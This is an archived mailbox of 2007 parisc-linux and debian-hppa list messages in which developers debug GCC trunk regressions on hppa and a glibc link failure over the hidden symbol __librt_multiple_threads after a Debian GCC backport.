Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA0D47DD65;
	Mon,  2 Jul 2007 10:53:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13091-09; Mon, 2 Jul 2007 10:53:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE14A7DD48;
	Mon,  2 Jul 2007 10:53:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2BC07DD41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jul 2007 10:53:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13091-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jul 2007 10:53:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 01BEE7DD36
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jul 2007 10:53:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l62GriG5023803;
	Mon, 2 Jul 2007 12:53:45 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l62Grit6023802;
	Mon, 2 Jul 2007 12:53:44 -0400 (EDT)
In-Reply-To: <18057.10210.79139.936855@gargle.gargle.HOWL> from "Matthias
	Klose" at Jul 2, 2007 06:29:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wljgdfJceWU2aK2TZm9nAHMrL0tsZo2e
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24692

> Testing 20070630 including the fix for PR rtl-optimization/32296 shows
> many new C++ and libstdc++ regressions.

Most of these were introduced by the dataflow merge (r125624).  I'm
currently working to confirm this.

The C++ and libstdc++ regressions are an EH bug in libgcc.  I tried
debugging this yesterday but didn't find the problem.  I know the
problems in libgcc since the test that I was debugging doesn't fail
with the system libgcc.

We also have problems with building hppa64 and Ada.  So, things are
a mess at the moment...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Mon, 02 Jul 2007 22:14:23 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <46895C9F.7020000__40659.0921259069$1416624405$gmane$org@frankengul.org>
References: <20070613082133.GA19999@frankengul.org>	<200706131332.l5DDWObn025750@hiauly1.hia.nrc.ca>	<20070613142304.GA21970@frankengul.org>	<46705613.8020708@frankengul.org> <18056.11841.395484.508171@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624405 24666 80.91.229.3 (22 Nov 2014 02:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2007 20:14:31 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx101) with SMTP; 02 Jul 2007 22:14:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id E18542E55A; Mon,  2 Jul 2007 20:14:55 +0000 (UTC)
Old-Return-Path: <seb@frankengul.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.3 required=4.0 tests=AWL,LDOSUBSCRIBER,
	MURPHY_DRUGS_REL8 autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from kraid.nerim.net (smtp-101-monday.nerim.net [62.4.16.101])
	by murphy.debian.org (Postfix) with ESMTP id 101E32E550
	for <debian-hppa@lists.debian.org>; Mon,  2 Jul 2007 20:14:50 +0000 (UTC)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by kraid.nerim.net (Postfix) with ESMTP id D89BFCF0AF;
	Mon,  2 Jul 2007 22:14:23 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.4 (X11/20070618)
In-Reply-To: <18056.11841.395484.508171@gargle.gargle.HOWL>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <gyN_hD.A.nbE._yViGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5833
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  2 Jul 2007 20:14:55 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: nG67dY4lPTRsPujGPjIwGG0xc2tpZIvL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24693

Matthias Klose a crit :
> The proposed fix seems to be wrong, as it disables the backport on all
> architectures.  Please could you recheck with current trunk? As jda
> suggested, another backport is missing for hppa.
> 
>   Matthias
> 

Oh well, I didn't say I got it all right.

I just said the problem was there.
I submited the bug to the gcc bugtracker and to the debian gcc, but I
didn't submit this patch as a potential fix.
There was no reaction on either site.

If you watch carefuly, this patch is not applied against some archs :
-ifneq (,$(filter $(DEB_TARGET_ARCH), amd64 i386 powerpc ppc64 sparc s390))
-  debian_patches += pr20218
-endif

From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Mon, 2 Jul 2007 17:28:17 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200707022128.l62LSHVo028664__29346.4954862886$1416624406$gmane$org@hiauly1.hia.nrc.ca>
References: <46895C9F.7020000@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624406 24667 80.91.229.3 (22 Nov 2014 02:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:46 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: seb@frankengul.org (=?ISO-8859-1?Q?S=E9bastien_Bernard?=)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2007 21:28:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 02 Jul 2007 23:28:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BCF07DD57;
	Mon,  2 Jul 2007 15:28:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14448-06; Mon, 2 Jul 2007 15:28:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE47C7DD5E;
	Mon,  2 Jul 2007 15:28:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 136F57DD53
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jul 2007 15:28:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14448-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jul 2007 15:28:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2647F7DD36
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jul 2007 15:28:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l62LSINV028665;
	Mon, 2 Jul 2007 17:28:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l62LSHVo028664;
	Mon, 2 Jul 2007 17:28:17 -0400 (EDT)
In-Reply-To: <46895C9F.7020000@frankengul.org> from
	"=?ISO-8859-1?Q?S=E9bastien_Bernard?=" at Jul 2, 2007 10:14:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J1e6fvUmMmAobLSZZGFnXIoxMjQ1N50D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24694

> Matthias Klose a crit :
> > The proposed fix seems to be wrong, as it disables the backport on all
> > architectures.  Please could you recheck with current trunk? As jda
> > suggested, another backport is missing for hppa.

Looking at this some more, I don't think there's a missing backport for hppa.

> There was no reaction on either site.

The comment was too vague and will be ignored since you are modifying
the gcc tree.  If a gcc bug is identified, then a new gcc PR is needed.

Looking at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=428509,
I don't see that gcc is doing anything wrong.  Currently, I see the
following with readelf for __librt_multiple_threads in librt-2.5.so
and libc-2.5.so on testing, respectively:

    44: 00000000     4 OBJECT  GLOBAL DEFAULT  UND __librt_multiple_threads@GLIBC_PRIVATE (10)

  1230: 0013e328     4 OBJECT  GLOBAL DEFAULT   32 __librt_multiple_threads@@GLIBC_PRIVATE

The link error suggests that __librt_multiple_threads is hidden in libc-2.5.so.
This will only occur if the symbol is defined with the .hidden attribute.
If that's the case, the link error is expected.  So, either the symbol
shouldn't be hidden or it needs to be defined in librt as well.  This is
a glibc issue.

I should note that pa gcc backend doesn't do anything special wrt
.hidden.  .hidden support is handled completely by the middle-end.
Thus, any problem wrt .hidden in gcc is likely to apply to all targets
that support this attribute.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Tue, 03 Jul 2007 01:08:11 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <4689855B.1000404__12619.8503691286$1416624406$gmane$org@frankengul.org>
References: <200707022128.l62LSHVo028664@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624406 24673 80.91.229.3 (22 Nov 2014 02:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:46 +0000 (UTC)
Cc: doko@cs.tu-berlin.de,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2007 23:08:23 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx013) with SMTP; 03 Jul 2007 01:08:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 796812E230; Mon,  2 Jul 2007 23:08:47 +0000 (UTC)
Old-Return-Path: <seb@frankengul.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.3 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mallaury.nerim.net (smtp-102-tuesday.noc.nerim.net [62.4.17.102])
	by murphy.debian.org (Postfix) with ESMTP id 81A592DE89
	for <debian-hppa@lists.debian.org>; Mon,  2 Jul 2007 23:08:39 +0000 (UTC)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by mallaury.nerim.net (Postfix) with ESMTP id 456804F3BC;
	Tue,  3 Jul 2007 01:08:12 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.4 (X11/20070618)
In-Reply-To: <200707022128.l62LSHVo028664@hiauly1.hia.nrc.ca>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <GfuPuC.A.mU._VYiGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5835
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  2 Jul 2007 23:08:47 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: UbC7foohPjlsOOrBOTU2EsAzMTE2NcnD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24695

John David Anglin a crit :
> Looking at this some more, I don't think there's a missing backport
> for hppa.
> 
>> There was no reaction on either site.
> 
> The comment was too vague and will be ignored since you are modifying
>  the gcc tree.  If a gcc bug is identified, then a new gcc PR is
> needed.

Well, it was a pr on a backport. I though  it was appropriate to add the
problem to the long thread.


> 
> Looking at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=428509, I
> don't see that gcc is doing anything wrong.  Currently, I see the 
> following with readelf for __librt_multiple_threads in librt-2.5.so 
> and libc-2.5.so on testing, respectively:
> 
> 44: 00000000     4 OBJECT  GLOBAL DEFAULT  UND
> __librt_multiple_threads@GLIBC_PRIVATE (10)
> 
> 1230: 0013e328     4 OBJECT  GLOBAL DEFAULT   32
> __librt_multiple_threads@@GLIBC_PRIVATE
> 
> The link error suggests that __librt_multiple_threads is hidden in
> libc-2.5.so. This will only occur if the symbol is defined with the
> .hidden attribute. If that's the case, the link error is expected.
> So, either the symbol shouldn't be hidden or it needs to be defined
> in librt as well.  This is a glibc issue.

Here is the readelf of the broken build :
seb@hpnux:~/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a ./libc.so 
|grep multiple_threads
   1230: 0013e328     4 OBJECT  GLOBAL DEFAULT   32
__librt_multiple_threads@@GLIBC_PRIVATE
   2737: 0013e328     4 OBJECT  LOCAL  HIDDEN   32 __libc_multiple_threads
   3961: 0013e328     4 OBJECT  GLOBAL DEFAULT   32 __librt_multiple_threads

seb@hpnux:~/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a
librt_pic.a |grep multiple_threads
     18: 00000000     0 NOTYPE  GLOBAL HIDDEN  UND __librt_multiple_threads
      6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
      6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads

I don't see anything wrong. Moreover, the readelf on the correct library 
gives exactly the same result.

To me, the gcc is the bad boy of this story.

I wonder if the gcc sees the first hidden symbol and stop there the
linking with an error without trying to go further the table to see if
another match is possible.
In this case, the problem is in the linker.

Since I don't really know the details, I'm limited to high level 
conjectures.


> 
> I should note that pa gcc backend doesn't do anything special wrt 
> .hidden.  .hidden support is handled completely by the middle-end. 
> Thus, any problem wrt .hidden in gcc is likely to apply to all
> targets that support this attribute.
> 
> Dave

Hum, so this PR is unhiding a bug in the glibc ?

Why then other arch don't seem to be impacted ?

	Seb


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Mon, 2 Jul 2007 21:58:45 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <200707030158.l631wkrg003150__24151.0430969813$1416624406$gmane$org@hiauly1.hia.nrc.ca>
References: <4689855B.1000404@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624406 24677 80.91.229.3 (22 Nov 2014 02:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:46 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: seb@frankengul.org (=?ISO-8859-1?Q?S=E9bastien_Bernard?=)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2007 02:15:02 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx097) with SMTP; 03 Jul 2007 04:15:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 44F252DFF7; Tue,  3 Jul 2007 02:15:25 +0000 (UTC)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.5 required=4.0 tests=AWL,MURPHY_DRUGS_REL8,
	UNPARSEABLE_RELAY autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 0AFCB2DFF5
	for <debian-hppa@lists.debian.org>; Tue,  3 Jul 2007 01:59:28 +0000 (UTC)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l631wkFD003152;
	Mon, 2 Jul 2007 21:58:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l631wkrg003150;
	Mon, 2 Jul 2007 21:58:46 -0400 (EDT)
In-Reply-To: <4689855B.1000404@frankengul.org> from "=?ISO-8859-1?Q?S=E9bastien_Bernard?=" at Jul 3, 2007 01:08:11 am
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <HDQRJD.A.lTE.9EbiGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5836
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  3 Jul 2007 02:15:25 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: FIi6fosmMmAobLSZZGFnPQsxMjQ1N10b
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24696

> Here is the readelf of the broken build :
> seb@hpnux:~/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a ./libc.so 
> |grep multiple_threads
>    1230: 0013e328     4 OBJECT  GLOBAL DEFAULT   32
> __librt_multiple_threads@@GLIBC_PRIVATE
>    2737: 0013e328     4 OBJECT  LOCAL  HIDDEN   32 __libc_multiple_threads
>    3961: 0013e328     4 OBJECT  GLOBAL DEFAULT   32 __librt_multiple_threads
> 
> seb@hpnux:~/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a
> librt_pic.a |grep multiple_threads
>      18: 00000000     0 NOTYPE  GLOBAL HIDDEN  UND __librt_multiple_threads
>       6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
>       6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
> 
> I don't see anything wrong. Moreover, the readelf on the correct library 
> gives exactly the same result.

The error in bug 428509 is:

...
/home/seb/dev/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_timedreceive.os):(.text+0x20): more undefined references to `__librt_multiple_threads' follow
/usr/bin/ld: /home/seb/dev/glibc-2.5/build-tree/hppa-libc/rt/librt.so: hidden symbol `__librt_multiple_threads' isn't defined
/usr/bin/ld: final link failed: Nonrepresentable section on output

Looking at gcc PR 20218, it's clear that there are some very subtle
issues here.  So, it's not clear to me where the problem lies.  It
could be in glibc (hppa sysdep-cancel.h), binutils or gcc.  The handling
of the visibility attribute was broken prior to HJL's change, so it
could have exposed bugs in other packages.

Because of this, it was a mistake for Debian to backport this change.
The change is only in the unreleased gcc trunk.

Since the problem was introduced by a gcc change, I'd start with
a gcc PR and mention the patch that introduced the regression.

Could you do glibc builds with the gcc trunk before and after the change?
It's best to base the PR on an unmodified version of gcc.

It would help to know the exact details of the linker command that
fails, the assembler code generated for mq_timedreceive, and the
__librt_multiple_threads symbols in __librt_multiple_threads librt.so.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC trunk 20070630
Date: Tue, 3 Jul 2007 11:58:51 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <18058.7643.461885.7204__18179.4635406279$1416624407$gmane$org@gargle.gargle.HOWL>
References: <18057.10210.79139.936855@gargle.gargle.HOWL>
	<200707021653.l62Grit6023802@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624407 24679 80.91.229.3 (22 Nov 2014 02:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
